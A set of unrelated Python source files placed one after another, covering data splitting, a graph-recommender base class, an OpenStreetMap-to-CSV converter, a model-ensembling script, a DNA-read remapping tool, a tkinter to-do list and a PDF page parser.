drops = ['AnnualAverageHHIPercentChange', 'AnnualHHI0_25PercentChange',
       'AnnualHHI25_50PercentChange', 'AnnualMedianHHIPercentChange',
       'PerCapitaIncomePercentChange', 'PopulationEducChange',
       'PopulationEducHSChange', 'PopulationEducHSGradChange']
agg_final = agg_final.drop(drops, 1)
################

### TRAINING, VALIDATION, AND TESTING SPLIT ###

# split files into training, validation, and testing files
training = agg_final[agg_final.demographicyearreported < 2010]
val_test = agg_final[agg_final.demographicyearreported  > 2009]
validation, testing = train_test_split(val_test, test_size = 0.5)

# export to xlsx files
training.to_excel('training.xlsx', sheet_name='sheet1', index=True)
validation.to_excel('validation.xlsx', sheet_name='sheet1', index=True)
testing.to_excel('testing.xlsx', sheet_name='sheet1', index=True)
################


from abc import ABC
from logging import getLogger

import numpy as np
import torch
import torch.nn as nn

from tips.utils.basic_utils import set_color, ModelType

class BaseGNNRecommender(nn.Module):
    def __init__(self):
        self.logger = getLogger()
        super(BaseGNNRecommender, self).__init__()

    def calculate_loss(self, interaction):
        raise NotImplementedError

    def predict(self, interaction):
        raise NotImplementedError

    def full_sort_predict(self, interaction):
        raise NotImplementedError

    def other_parameter(self):
        if hasattr(self, "other_parameter_name"):
            return {key: getattr(self, key) for key in self.other_parameter_name}
        return dict()

    def load_other_parameter(self, para):
        if para is None:
            return
        for key, value in para.items():
            setattr(self, key, value)

    def __str__(self):
        model_parameters = filter(lambda p: p.requires_grad, self.parameters())
        params = sum([np.prod(p.size()) for p in model_parameters])
        return (
                super().__str__()
                + set_color("\nTrainable parameters", "blue")
                + f": {params}"
        )

class GenericGNNRecommender(BaseGNNRecommender, ABC):
    type = ModelType.GENERAL

    def __init__(self, config, dataset):
        super(GenericGNNRecommender, self).__init__()

        # load dataset info
        self.USER_ID = config["USER_ID_FIELD"]
        self.ITEM_ID = config["ITEM_ID_FIELD"]
        self.NEG_ITEM_ID = config["NEG_PREFIX"] + self.ITEM_ID
        self.n_users = dataset.num(self.USER_ID)
        self.n_items = dataset.num(self.ITEM_ID)

        # load parameters info
        self.device = config["device"]

class GeneralGraphRecommender(GenericGNNRecommender, ABC):
    type = ModelType.GENERAL

    def __init__(self, config, dataset):
        super(GeneralGraphRecommender, self).__init__(config, dataset)
        self.edge_index, self.edge_weight = dataset.get_norm_adj_mat()
        self.edge_index, self.edge_weight = self.edge_index.to(self.device), self.edge_weight.to(self.device)


import csv
import codecs
import pprint
import re
import xml.etree.cElementTree as ET

import cerberus
import audit
import schema

OSM_PATH = "data/beijing_china.osm"

NODES_PATH = "data/nodes.csv"
NODE_TAGS_PATH = "data/nodes_tags.csv"
WAYS_PATH = "data/ways.csv"
WAY_NODES_PATH = "data/ways_nodes.csv"
WAY_TAGS_PATH = "data/ways_tags.csv"

LOWER_COLON = re.compile(r'^([a-z]|_)+:([a-z]|_)+')
PROBLEMCHARS = re.compile(r'[=\+/&<>;\'"\?%#$@\,\. \t\r\n]')

SCHEMA = schema.schema
NODE_FIELDS = schema.NODE_FIELDS
NODE_TAGS_FIELDS = schema.NODE_TAGS_FIELDS
WAY_FIELDS = schema.WAY_FIELDS
WAY_TAGS_FIELDS = schema.WAY_TAGS_FIELDS
WAY_NODES_FIELDS = schema.WAY_NODES_FIELDS

def shape_element(element, node_attr_fields=NODE_FIELDS, way_attr_fields=WAY_FIELDS,
                  problem_chars=PROBLEMCHARS, default_tag_type='regular'):
    """Clean and shape node or way XML element to Python dict"""

    node_attribs = {}
    way_attribs = {}
    way_nodes = []
    tags = []  # Handle secondary tags the same way for both node and way elements

    for tag_elem in element.iter('tag'):
        tag = {}
        tag['id'] = element.attrib['id']
        if PROBLEMCHARS.match(tag_elem.attrib['k']):
            continue
        elif LOWER_COLON.match(tag_elem.attrib['k']):
            ind = tag_elem.attrib['k'].find(':')
            tag['key'] = tag_elem.attrib['k'][ind+1:]
            tag['type'] = tag_elem.attrib['k'][0:ind]
            if tag_elem.attrib['k'] == "name:en":
                tag['value'] = audit.update_way_names(tag_elem.attrib['v'], audit.mapping)
            elif tag_elem.attrib['k'] == "addr:postcode":
                if audit.check_postcode(tag_elem.attrib['v']):
                    tag['value'] = tag_elem.attrib['v']
                else:
                    continue
            else:
                tag['value'] = tag_elem.attrib['v']
        else:
            tag['key'] = tag_elem.attrib['k']
            tag['value'] = tag_elem.attrib['v']
            tag['type'] = default_tag_type
        tags.append(tag)

    if element.tag == 'node':
        for attr in node_attr_fields:
            node_attribs[attr] = element.attrib[attr]

        return {'node': node_attribs, 'node_tags': tags}

    elif element.tag == 'way':
        for attr in way_attr_fields:
            way_attribs[attr] = element.attrib[attr]

        i = 0
        for nd_elem in element.iter('nd'):
            way_node = {}
            way_node['id'] = element.attrib['id']
            way_node['node_id'] = nd_elem.attrib['ref']
            way_node['position'] = i
            i = i + 1
            way_nodes.append(way_node)

        return {'way': way_attribs, 'way_nodes': way_nodes, 'way_tags': tags}

# ================================================== #
#               Helper Functions                     #
# ================================================== #
def get_element(osm_file, tags=('node', 'way', 'relation')):
    """Yield element if it is the right type of tag"""

    context = ET.iterparse(osm_file, events=('start', 'end'))
    _, root = next(context)
    for event, elem in context:
        if event == 'end' and elem.tag in tags:
            yield elem
            root.clear()

def validate_element(element, validator, schema=SCHEMA):
    """Raise ValidationError if element does not match schema"""
    if validator.validate(element, schema) is not True:
        field, errors = next(validator.errors.iteritems())
        message_string = "\nElement of type '{0}' has the following errors:\n{1}"
        error_string = pprint.pformat(errors)

        raise Exception(message_string.format(field, error_string))

class UnicodeDictWriter(csv.DictWriter, object):
    """Extend csv.DictWriter to handle Unicode input"""

    def writerow(self, row):
        super(UnicodeDictWriter, self).writerow({
            k: (v.encode('utf-8') if isinstance(v, unicode) else v) for k, v in row.iteritems()
        })

    def writerows(self, rows):
        for row in rows:
            self.writerow(row)

# ================================================== #
#               Main Function                        #
# ================================================== #
def process_map(file_in, validate):
    """Iteratively process each XML element and write to csv(s)"""

    with codecs.open(NODES_PATH, 'w') as nodes_file, \
         codecs.open(NODE_TAGS_PATH, 'w') as nodes_tags_file, \
         codecs.open(WAYS_PATH, 'w') as ways_file, \
         codecs.open(WAY_NODES_PATH, 'w') as way_nodes_file, \
         codecs.open(WAY_TAGS_PATH, 'w') as way_tags_file:

        nodes_writer = UnicodeDictWriter(nodes_file, NODE_FIELDS)
        node_tags_writer = UnicodeDictWriter(nodes_tags_file, NODE_TAGS_FIELDS)
        ways_writer = UnicodeDictWriter(ways_file, WAY_FIELDS)
        way_nodes_writer = UnicodeDictWriter(way_nodes_file, WAY_NODES_FIELDS)
        way_tags_writer = UnicodeDictWriter(way_tags_file, WAY_TAGS_FIELDS)

        nodes_writer.writeheader()
        node_tags_writer.writeheader()
        ways_writer.writeheader()
        way_nodes_writer.writeheader()
        way_tags_writer.writeheader()

        validator = cerberus.Validator()

        for element in get_element(file_in, tags=('node', 'way')):
            el = shape_element(element)
            if el:
                if validate is True:
                    validate_element(el, validator)

                if element.tag == 'node':
                    nodes_writer.writerow(el['node'])
                    node_tags_writer.writerows(el['node_tags'])
                elif element.tag == 'way':
                    ways_writer.writerow(el['way'])
                    way_nodes_writer.writerows(el['way_nodes'])
                    way_tags_writer.writerows(el['way_tags'])

if __name__ == '__main__':
    # Note: Validation is ~ 10X slower. For the project consider using a small
    # sample of the map when validating.
    process_map(OSM_PATH, validate=False)


import numpy as np
import pandas as pd

import datasets
import utils

from pathlib import Path

from tqdm import tqdm

from sklearn.metrics import average_precision_score

from callbacks import lwlrap

def search_averaging_weights_per_column(predictions: list, target: np.ndarray, trials=1000):
    best_score = -np.inf
    best_weights = np.zeros(len(predictions))
    utils.set_seed(1213)

    for i in tqdm(range(trials)):
        dice = np.random.rand(len(predictions))
        weights = dice / dice.sum()
        blended = np.zeros(len(predictions[0]))
        for weight, pred in zip(weights, predictions):
            blended += weight * pred
        score = average_precision_score(y_true=target, y_score=blended)
        if score > best_score:
            best_score = score
            best_weights = weights
    return {"best_score": best_score, "best_weights": best_weights}

def search_averaging_weights(predictions: list, target: np.ndarray, trials=1000):
    best_score = -np.inf
    best_weights = np.zeros(len(predictions))
    utils.set_seed(1213)

    for i in tqdm(range(trials)):
        dice = np.random.rand(len(predictions))
        weights = dice / dice.sum()
        blended = np.zeros_like(predictions[0], dtype=np.float32)
        for weight, pred in zip(weights, predictions):
            blended += weight * pred
        score_class, class_weight = lwlrap(truth=target, scores=blended)
        score = (score_class * class_weight).sum()
        if score > best_score:
            best_score = score
            best_weights = weights
    return {"best_score": best_score, "best_weights": best_weights}

def search_averaging_weight_for_each_col(predictions: list, target: np.ndarray, trials=10000):
    best_score = -np.inf
    best_weights = np.zeros((len(predictions), 24))
    utils.set_seed(1213)
    for i in tqdm(range(trials)):
        dice = np.random.rand(len(predictions), 24)
        weights = dice / dice.sum(axis=0)
        blended = np.zeros_like(predictions[0], dtype=np.float32)
        for weight, pred in zip(weights, predictions):
            blended += weight * pred
        score_class, class_weight = lwlrap(truth=target, scores=blended)
        score = (score_class * class_weight).sum()
        if score > best_score:
            best_score = score
            best_weights = weights
    return {"best_score": best_score, "best_weights": best_weights}

def to_rank(df: pd.DataFrame):
    return df.rank(axis=1, pct=True)

if __name__ == "__main__":
    args = utils.get_parser().parse_args()
    config = utils.load_config(args.config)

    config_name = args.config.split("/")[-1].replace(".yml", "")
    expdir = Path(f"out/{config_name}")
    expdir.mkdir(exist_ok=True, parents=True)

    logger = utils.get_logger(expdir / "ensemble.log")

    oofs = []
    submissions = []
    names = []
    for result_dict in config["results"]:
        oofs.append(pd.read_csv(result_dict["oof"]))
        submissions.append(pd.read_csv(result_dict["submission"]))
        names.append(result_dict["name"])

    tp, _, _, _, _, _ = datasets.get_metadata(config)
    indices = tp[["index"]]

    for i in range(len(oofs)):
        oofs[i] = indices.merge(oofs[i], on="index", how="left")

    labels = []
    for _, sample in tp.iterrows():
        t_min = sample["t_min"]
        t_max = sample["t_max"]
        flac_id = sample["recording_id"]
        call_duration = t_max - t_min
        relative_offset = (10 - call_duration) / 2

        offset = min(max(0, t_min - relative_offset), 60 - 10)
        tail = offset + 10

        query_string = f"recording_id == '{flac_id}' & "
        query_string += f"t_min < {tail} & t_max > {offset}"
        all_tp_events = tp.query(query_string)

        label = np.zeros(24, dtype=np.float32)
        for species_id in all_tp_events["species_id"].unique():
            label[int(species_id)] = 1.0
        labels.append(label)

    labels_df = pd.DataFrame(np.asarray(labels), columns=[f"s{i}" for i in range(24)])

    ground_truth_df = pd.concat([
        pd.DataFrame({"index": tp["index"], "recording_id": tp["recording_id"]}),
        labels_df
    ], axis=1)

    weights_dict = {}
    classes = [f"s{i}" for i in range(24)]
    if config["strategy"]["name"] == "classwise":
        for class_ in classes:
            logger.info("*" * 20)
            logger.info(f"class: {class_}")

            predictions = []
            for oof in oofs:
                predictions.append(oof[class_].values)
            target = ground_truth_df[class_].values
            result_dict = search_averaging_weights_per_column(predictions, target)

            logger.info(
                f"Best score {result_dict['best_score']}, Best Weights{result_dict['best_weights']}")
            weights_dict[class_] = result_dict["best_weights"]
    elif config["strategy"]["name"] == "overall_search":
        target = ground_truth_df[classes].values
        predictions = []
        for oof in oofs:
            predictions.append(oof[classes].values)
        result_dict = search_averaging_weights(predictions, target)
        logger.info(
            f"Best score {result_dict['best_score']}, Best Weights{result_dict['best_weights']}")
        for class_ in classes:
            weights_dict[class_] = result_dict["best_weights"]
    elif config["strategy"]["name"] == "rank_search":
        target = ground_truth_df[classes].values
        predictions = []
        for i in range(len(oofs)):
            oofs[i] = pd.concat([oofs[i][["index", "recording_id"]], oofs[i][classes].rank(axis=1, pct=True)], axis=1)
            submissions[i] = pd.concat([submissions[i][["recording_id"]], submissions[i][classes].rank(axis=1, pct=True)], axis=1)

        for oof in oofs:
            predictions.append(oof[classes].values)
        result_dict = search_averaging_weights(predictions, target)
        logger.info(
            f"Best score {result_dict['best_score']}, Best Weights{result_dict['best_weights']}")
        for class_ in classes:
            weights_dict[class_] = result_dict["best_weights"]
    elif config["strategy"]["name"] == "rank_colwise":
        target = ground_truth_df[classes].values
        predictions = []
        for i in range(len(oofs)):
            oofs[i] = pd.concat([oofs[i][["index", "recording_id"]], oofs[i][classes].rank(axis=1, pct=True)], axis=1)
            submissions[i] = pd.concat([submissions[i][["recording_id"]], submissions[i][classes].rank(axis=1, pct=True)], axis=1)

        for oof in oofs:
            predictions.append(oof[classes].values)
        result_dict = search_averaging_weight_for_each_col(predictions, target)
        logger.info(
            f"Best score {result_dict['best_score']}, Best Weights{result_dict['best_weights']}")
        for i, class_ in enumerate(classes):
            weights_dict[class_] = result_dict["best_weights"][:, i]
    else:
        for class_ in classes:
            weights_dict[class_] = config["strategy"]["weights"]
    blended = np.zeros((len(oofs[0]), 24))
    class_level_score = {}
    for class_ in weights_dict:
        index = classes.index(class_)
        weights = weights_dict[class_]
        for weight, oof in zip(weights, oofs):
            blended[:, index] += weight * oof[class_].values

    score_class, weight = lwlrap(ground_truth_df[classes].values, blended)
    score = (score_class * weight).sum()
    logger.info(f"Blended LWLRAP: {score:5f}")
    class_level_score["blend_score"] = score
    class_level_score["blend_weight"] = weights_dict
    class_level_score["blend"] = score_class

    for oof, name in zip(oofs, names):
        score_class, weight = lwlrap(ground_truth_df[classes].values, oof[classes].values)
        score = (score_class * weight).sum()
        logger.info(f"Name: {name} LWLRAP: {score:5f}")
        class_level_score[f"{name}_score"] = score
        class_level_score[name] = score_class

    blended_sub = np.zeros((len(submissions[0]), 24))
    for class_ in weights_dict:
        index = classes.index(class_)
        for weight, sub in zip(weights_dict[class_], submissions):
            blended_sub[:, index] += weight * sub[class_].values

    sub = pd.concat([
        pd.DataFrame({"recording_id": submissions[0]["recording_id"]}),
        pd.DataFrame(blended_sub, columns=classes)
    ], axis=1)
    sub.to_csv(expdir / "blended.csv", index=False)
    utils.save_json(class_level_score, expdir / "class_level_results.json")


#!/usr/bin/env python
import argparse

import numpy as np
import os
import sys

from taiyaki import alphabet, bio, fast5utils, helpers, prepare_mapping_funcs
from taiyaki.cmdargs import FileExists, Maybe
from taiyaki.common_cmdargs import add_common_command_args
from taiyaki.iterators import imap_mp

program_description = "Prepare data for model training and save to hdf5 file by remapping with flip-flop model"
parser = argparse.ArgumentParser(description=program_description,
                                 formatter_class=argparse.ArgumentDefaultsHelpFormatter)

add_common_command_args(parser, 'alphabet input_folder input_strand_list jobs limit overwrite recursive version'.split())

parser.add_argument('--localpen', metavar='penalty', default=0.0, type=float,
                    help='Penalty for local mapping')
parser.add_argument('--max_read_length', metavar='bases', default=None, type=Maybe(int),
                    help='Don\'t attempt remapping for reads longer than this')
parser.add_argument('--mod', nargs=3, metavar=('base', 'canonical', 'name'),
                    default=[], action='append',
                    help='Modified base description')
parser.add_argument('input_per_read_params', action=FileExists,
                    help='Input per read parameter .tsv file')
parser.add_argument('output', help='Output HDF5 file')
parser.add_argument('model', action=FileExists, help='Taiyaki model file')
parser.add_argument('references', action=FileExists,
                    help='Single fasta file containing references for each read')

def main():
    """Main function to process mapping for each read using functions in prepare_mapping_funcs"""
    args = parser.parse_args()
    print("Running prepare_mapping using flip-flop remapping")

    if not args.overwrite:
        if os.path.exists(args.output):
            print("Cowardly refusing to overwrite {}".format(args.output))
            sys.exit(1)

    # Create alphabet and check for consistency
    modified_bases = [elt[0] for elt in args.mod]
    canonical_bases = [elt[1] for elt in args.mod]
    for b in modified_bases:
        assert len(b) == 1, "Modified bases must be a single character, got {}".format(b)
        assert b not in args.alphabet, "Modified base must not be a canonical base, got {}".format(b)
    for b in canonical_bases:
        assert len(b) == 1, "Canonical coding for modified bases must be a single character, got {}".format(b)
        assert b in args.alphabet, "Canonical coding for modified base must be a canonical base, got {}".format(b)
    full_alphabet = args.alphabet + ''.join(modified_bases)
    flat_alphabet = args.alphabet + ''.join(canonical_bases)
    modification_names = [elt[2] for elt in args.mod]

    alphabet_info = alphabet.AlphabetInfo(full_alphabet, flat_alphabet,
                                          modification_names, do_reorder=True)

    print("Converting references to labels using {}".format(str(alphabet_info)))

    # Make an iterator that yields all the reads we're interested in.
    fast5_reads = fast5utils.iterate_fast5_reads(
        args.input_folder, limit=args.limit, strand_list=args.input_strand_list,
        recursive=args.recursive)

    # Set up arguments (kwargs) for the worker function for each read
    kwargs = {}
    kwargs['per_read_params_dict'] = prepare_mapping_funcs.get_per_read_params_dict_from_tsv(
        args.input_per_read_params)
    kwargs['model'] = helpers.load_model(args.model)
    kwargs['alphabet_info'] = alphabet_info
    kwargs['max_read_length'] = args.max_read_length
    kwargs['localpen'] = args.localpen

    # remaps a single read using flip-flip network
    workerFunction = prepare_mapping_funcs.oneread_remap

    def iter_jobs():
        references = bio.fasta_file_to_dict(args.references, alphabet=full_alphabet)
        for fn, read_id in fast5_reads:
            yield fn, read_id, references.get(read_id, None)

    if args.limit is not None:
        chunksize = args.limit // (2 * args.jobs)
        chunksize = int(np.clip(chunksize, 1, 50))
    else:
        chunksize = 50

    results = imap_mp(workerFunction, iter_jobs(), threads=args.jobs,
                      fix_kwargs=kwargs, unordered=True, chunksize=chunksize)

    # results is an iterable of dicts
    # each dict is a set of return values from a single read
    prepare_mapping_funcs.generate_output_from_results(
        results, args.output, alphabet_info)

if __name__ == '__main__':
    main()


#ask user what items to place on their to-do list
#append items to list
#dispay items
#if done, mark them as done and display remaining items on list

import tkinter
from tkinter import Label, StringVar, filedialog
from tkinter.font import Font
import pickle
from datetime import datetime

""" def time_now():
    string = time.strftime(f'%H:%M:%S %p')
    display_time.config(text=string)
    display_time.after(1000, time_now) """

root = tkinter.Tk()
root.title("To-Do List")
root.geometry("500x500")

my_menu = tkinter.Menu(root)
root.config(menu=my_menu)

def save_list():
    items = task_list.get(0, tkinter.END)
    file_name = filedialog.asksaveasfilename(
        initialdir="C:/Udacity/python/data",
        title="Save File",
        filetypes=(("Dat Files", "*.dat"),
                    ("All Files", "*.*"))
    )
    if file_name:
        if file_name.endswith(".dat"):
            pass
        else:
            file_name = f'{file_name}.dat'

    output_file = open(file_name, 'wb')
    pickle.dump(items, output_file)

def open_list():
    file_name = filedialog.askopenfilename(
            initialdir="C:/Udacity/python/data",
        title="Open File",
        filetypes=(("Dat Files", "*.dat"),
                    ("All Files", "*.*"))
    )

    if file_name:
        task_list.delete(0, tkinter.END)
        input_file = open(file_name, 'rb')
        tasks = pickle.load(input_file)
        for item in tasks:
            task_list.insert(tkinter.END, item)

def delete_crossed():
    count = 0
    while count < task_list.size():
        if task_list.itemcget(count, "fg") == "#dedede":
            task_list.delete(task_list.index(count))
        else:
            count += 1

def clear_list():
    task_list.delete(0, tkinter.END)

def change_color():
    task_list.config(bg=radio.get())

file_menu = tkinter.Menu(my_menu, tearoff=False)
my_menu.add_cascade(label="File", menu=file_menu)
file_menu.add_command(label="Save List", command=save_list)
file_menu.add_command(label="Open List", command=open_list)
file_menu.add_separator()
file_menu.add_command(label="Delete Crossed Items", command=delete_crossed)
file_menu.add_command(label="Clear List", command=clear_list)
file_menu.add_command(label="Exit", command=root.quit)

radio = StringVar()
radio.set("#FEFFCC")

color_menu = tkinter.Menu(my_menu, tearoff=False)
my_menu.add_cascade(label="Color", menu=color_menu)
color_menu.add_radiobutton(label="white", background="white", variable=radio, value="white", command=change_color)
color_menu.add_radiobutton(label="yellow", state="active", background="#FEFFCC", variable=radio, value="#FEFFCC", command=change_color)
color_menu.add_radiobutton(label="pink", background="#FFE5F0",variable=radio, value="#FFE5F0", command=change_color)
color_menu.add_radiobutton(label="mint", background="#EBFFF6", variable=radio, value="#EBFFF6", command=change_color)
color_menu.add_radiobutton(label="purple", background="#E9D3FF", variable=radio, value="#E9D3FF", command=change_color)

my_font = Font(
    family="Lucida Calligraphy italic",
    size=28,
    weight="bold"
)

date_frame = tkinter.Frame(root)
date_frame.pack()

today = datetime.now()
date = Label(date_frame, text=f'{today:%A, %B %d, %Y}', font="Arial, 11", fg="#A9A9A9")
date.pack()

my_frame = tkinter.Frame(root)
my_frame.pack()

task_list = tkinter.Listbox(my_frame,
    font=my_font,
    width=25,
    height=5,
    bg="#FEFFCC",
    bd=0,
    fg="#464646",
    highlightthickness=0,
    selectbackground="#C2E5D3",
    activestyle="none"
)
task_list.pack(side=tkinter.LEFT, fill=tkinter.BOTH)

my_scrollbar = tkinter.Scrollbar(my_frame)
my_scrollbar.pack(side=tkinter.RIGHT, fill=tkinter.BOTH)

task_list.config(yscrollcommand=my_scrollbar.set)
my_scrollbar.config(command=task_list.yview)

def add_task():
    task = my_entry.get()
    if len(task) > 0:
        task_list.insert(tkinter.END, task)
    my_entry.delete(0, tkinter.END)

def task_done():
    task_list.itemconfig(task_list.curselection(), fg="#dedede")
    task_list.selection_clear(0, tkinter.END)

def delete_task():
    task_list.delete(tkinter.ANCHOR)

def uncross():
    task_list.itemconfig(task_list.curselection(), fg="#464646")
    task_list.selection_clear(0, tkinter.END)

my_entry = tkinter.Entry(root, font="Helvetica, 20", width=26)
my_entry.pack(pady=20)

button_frame = tkinter.Frame(root)
button_frame.pack(pady=20)

add = tkinter.Button(button_frame, text="Add", padx=20, pady=5, command=add_task).grid(row=0, column=0)
cross_off = tkinter.Button(button_frame, text="Cross Off Item", padx=20, pady=5, command=task_done).grid(row=0, column=2)
uncross_off = tkinter.Button(button_frame, text="Uncross Item", padx=20, pady=5, command=uncross).grid(row=0, column=3, pady=10)
delete = tkinter.Button(button_frame, text="Delete", padx=20, pady=5, command=delete_task).grid(row=0, column=1, pady=10)

#today = tkinter.Label(root, text=f"{date:%A, %B %d, %Y}", font="Calibri, 15", justify='center')
#today.grid(row=0, pady=10, columnspan=2)

root.mainloop()


import re
from functools import lru_cache
from typing import (
    TYPE_CHECKING,
    Any,
    Callable,
    Dict,
    Generator,
    List,
    Optional,
    Pattern,
    Tuple,
    Union,
)

from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import (
    LTChar,
    LTComponent,
    LTContainer,
    LTItem,
    LTPage,
    LTTextContainer,
)
from pdfminer.pdfinterp import PDFPageInterpreter
from pdfminer.pdfpage import PDFPage
from pdfminer.psparser import PSLiteral

from . import utils
from ._typing import T_bbox, T_num, T_obj, T_obj_list
from .container import Container
from .table import T_table_settings, Table, TableFinder, TableSettings
from .utils import decode_text, resolve_all, resolve_and_decode
from .utils.text import TextMap

lt_pat = re.compile(r"^LT")

ALL_ATTRS = set(
    [
        "adv",
        "height",
        "linewidth",
        "pts",
        "size",
        "srcsize",
        "width",
        "x0",
        "x1",
        "y0",
        "y1",
        "bits",
        "matrix",
        "upright",
        "fontname",
        "text",
        "imagemask",
        "colorspace",
        "evenodd",
        "fill",
        "non_stroking_color",
        "path",
        "stream",
        "stroke",
        "stroking_color",
    ]
)

if TYPE_CHECKING:  # pragma: nocover
    from .display import PageImage
    from .pdf import PDF

# via https://git.ghostscript.com/?p=mupdf.git;a=blob;f=source/pdf/pdf-font.c;h=6322cedf2c26cfb312c0c0878d7aff97b4c7470e;hb=HEAD#l774   # noqa

CP936_FONTNAMES = {
    b"\xcb\xce\xcc\xe5": "SimSun,Regular",
    b"\xba\xda\xcc\xe5": "SimHei,Regular",
    b"\xbf\xac\xcc\xe5_GB2312": "SimKai,Regular",
    b"\xb7\xc2\xcb\xce_GB2312": "SimFang,Regular",
    b"\xc1\xa5\xca\xe9": "SimLi,Regular",
}

def fix_fontname_bytes(fontname: bytes) -> str:
    if b"+" in fontname:
        split_at = fontname.index(b"+") + 1
        prefix, suffix = fontname[:split_at], fontname[split_at:]
    else:
        prefix, suffix = b"", fontname

    suffix_new = CP936_FONTNAMES.get(suffix, str(suffix)[2:-1])
    return str(prefix)[2:-1] + suffix_new

def separate_pattern(
    color: Tuple[Any, ...]
) -> Tuple[Optional[Tuple[Union[float, int], ...]], Optional[str]]:
    if isinstance(color[-1], PSLiteral):
        return (color[:-1] or None), decode_text(color[-1].name)
    else:
        return color, None

def normalize_color(
    color: Any,
) -> Tuple[Optional[Tuple[Union[float, int], ...]], Optional[str]]:
    if color is None:
        return (None, None)
    elif isinstance(color, tuple):
        tuplefied = color
    elif isinstance(color, list):
        tuplefied = tuple(color)
    else:
        tuplefied = (color,)
    return separate_pattern(tuplefied)

class Page(Container):
    cached_properties: List[str] = Container.cached_properties + ["_layout"]
    is_original: bool = True
    pages = None

    def __init__(
        self,
        pdf: "PDF",
        page_obj: PDFPage,
        page_number: int,
        initial_doctop: T_num = 0,
    ):
        self.pdf = pdf
        self.root_page = self
        self.page_obj = page_obj
        self.page_number = page_number
        _rotation = resolve_all(self.page_obj.attrs.get("Rotate", 0)) or 0
        self.rotation = _rotation % 360
        self.page_obj.rotate = self.rotation
        self.initial_doctop = initial_doctop

        cropbox = page_obj.attrs.get("CropBox")
        mediabox = page_obj.attrs.get("MediaBox")

        self.cropbox = resolve_all(cropbox) if cropbox is not None else None
        self.mediabox = resolve_all(mediabox) or self.cropbox
        m = self.mediabox

        self.bbox: T_bbox = (
            (
                min(m[1], m[3]),
                min(m[0], m[2]),
                max(m[1], m[3]),
                max(m[0], m[2]),
            )
            if self.rotation in [90, 270]
            else (
                min(m[0], m[2]),
                min(m[1], m[3]),
                max(m[0], m[2]),
                max(m[1], m[3]),
            )
        )

        # https://rednafi.github.io/reflections/dont-wrap-instance-methods-with-functoolslru_cache-decorator-in-python.html
        self.get_textmap = lru_cache()(self._get_textmap)

    @property
    def width(self) -> T_num:
        return self.bbox[2] - self.bbox[0]

    @property
    def height(self) -> T_num:
        return self.bbox[3] - self.bbox[1]

    @property
    def layout(self) -> LTPage:
        if hasattr(self, "_layout"):
            return self._layout
        device = PDFPageAggregator(
            self.pdf.rsrcmgr,
            pageno=self.page_number,
            laparams=self.pdf.laparams,
        )
        interpreter = PDFPageInterpreter(self.pdf.rsrcmgr, device)
        interpreter.process_page(self.page_obj)
        self._layout: LTPage = device.get_result()
        return self._layout

    @property
    def annots(self) -> T_obj_list:
        def parse(annot: T_obj) -> T_obj:
            rect = annot["Rect"]

            a = annot.get("A", {})
            extras = {
                "uri": a.get("URI"),
                "title": annot.get("T"),
                "contents": annot.get("Contents"),
            }
            for k, v in extras.items():
                if v is not None:
                    try:
                        extras[k] = v.decode("utf-8")
                    except UnicodeDecodeError:
                        extras[k] = v.decode("utf-16")

            parsed = {
                "page_number": self.page_number,
                "object_type": "annot",
                "x0": rect[0],
                "y0": rect[1],
                "x1": rect[2],
                "y1": rect[3],
                "doctop": self.initial_doctop + self.height - rect[3],
                "top": self.height - rect[3],
                "bottom": self.height - rect[1],
                "width": rect[2] - rect[0],
                "height": rect[3] - rect[1],
            }
            parsed.update(extras)
            # Replace the indirect reference to the page dictionary
            # with a pointer to our actual page
            if "P" in annot:
                annot["P"] = self
            parsed["data"] = annot
            return parsed

        raw = resolve_all(self.page_obj.annots) or []
        return list(map(parse, raw))

    @property
    def hyperlinks(self) -> T_obj_list:
        return [a for a in self.annots if a["uri"] is not None]

    @property
    def objects(self) -> Dict[str, T_obj_list]:
        if hasattr(self, "_objects"):
            return self._objects
        self._objects: Dict[str, T_obj_list] = self.parse_objects()
        return self._objects

    def point2coord(self, pt: Tuple[T_num, T_num]) -> Tuple[T_num, T_num]:
        return (pt[0], self.height - pt[1])

    def process_object(self, obj: LTItem) -> T_obj:
        kind = re.sub(lt_pat, "", obj.__class__.__name__).lower()

        def process_attr(item: Tuple[str, Any]) -> Optional[Tuple[str, Any]]:
            k, v = item
            if k in ALL_ATTRS:
                res = resolve_all(v)
                return (k, res)
            else:
                return None

        attr = dict(filter(None, map(process_attr, obj.__dict__.items())))

        attr["object_type"] = kind
        attr["page_number"] = self.page_number

        for cs in ["ncs", "scs"]:
            # Note: As of pdfminer.six v20221105, that library only
            # exposes ncs for LTChars, and neither attribute for
            # other objects. Keeping this code here, though,
            # for ease of addition if color spaces become
            # more available via pdfminer.six
            if hasattr(obj, cs):
                attr[cs] = resolve_and_decode(getattr(obj, cs).name)

        for color_attr, pattern_attr in [
            ("stroking_color", "stroking_pattern"),
            ("non_stroking_color", "non_stroking_pattern"),
        ]:
            if color_attr in attr:
                attr[color_attr], attr[pattern_attr] = normalize_color(attr[color_attr])

        if isinstance(obj, (LTChar, LTTextContainer)):
            attr["text"] = obj.get_text()

        if isinstance(obj, LTChar):
            # pdfminer.six (at least as of v20221105) does not
            # directly expose .stroking_color and .non_stroking_color
            # for LTChar objects (unlike, e.g., LTRect objects).
            gs = obj.graphicstate
            attr["stroking_color"], attr["stroking_pattern"] = normalize_color(
                gs.scolor
            )
            attr["non_stroking_color"], attr["non_stroking_pattern"] = normalize_color(
                gs.ncolor
            )

            # Handle (rare) byte-encoded fontnames
            if isinstance(attr["fontname"], bytes):
                attr["fontname"] = fix_fontname_bytes(attr["fontname"])

        if "pts" in attr:
            attr["pts"] = list(map(self.point2coord, attr["pts"]))

        if "y0" in attr:
            attr["top"] = self.height - attr["y1"]
            attr["bottom"] = self.height - attr["y0"]
            attr["doctop"] = self.initial_doctop + attr["top"]

        return attr

    def iter_layout_objects(
        self, layout_objects: List[LTComponent]
    ) -> Generator[T_obj, None, None]:
        for obj in layout_objects:
            # If object is, like LTFigure, a higher-level object ...
            if isinstance(obj, LTContainer):
                # and LAParams is passed, process the object itself.
                if self.pdf.laparams is not None:
                    yield self.process_object(obj)
                # Regardless, iterate through its children
                yield from self.iter_layout_objects(obj._objs)
            else:
                yield self.process_object(obj)

    def parse_objects(self) -> Dict[str, T_obj_list]:
        objects: Dict[str, T_obj_list] = {}
        for obj in self.iter_layout_objects(self.layout._objs):
            kind = obj["object_type"]
            if kind in ["anno"]:
                continue
            if objects.get(kind) is None:
                objects[kind] = []
            objects[kind].append(obj)
        return objects

    def debug_tablefinder(
        self, table_settings: Optional[T_table_settings] = None
    ) -> TableFinder:
        tset = TableSettings.resolve(table_settings)
        return TableFinder(self, tset)

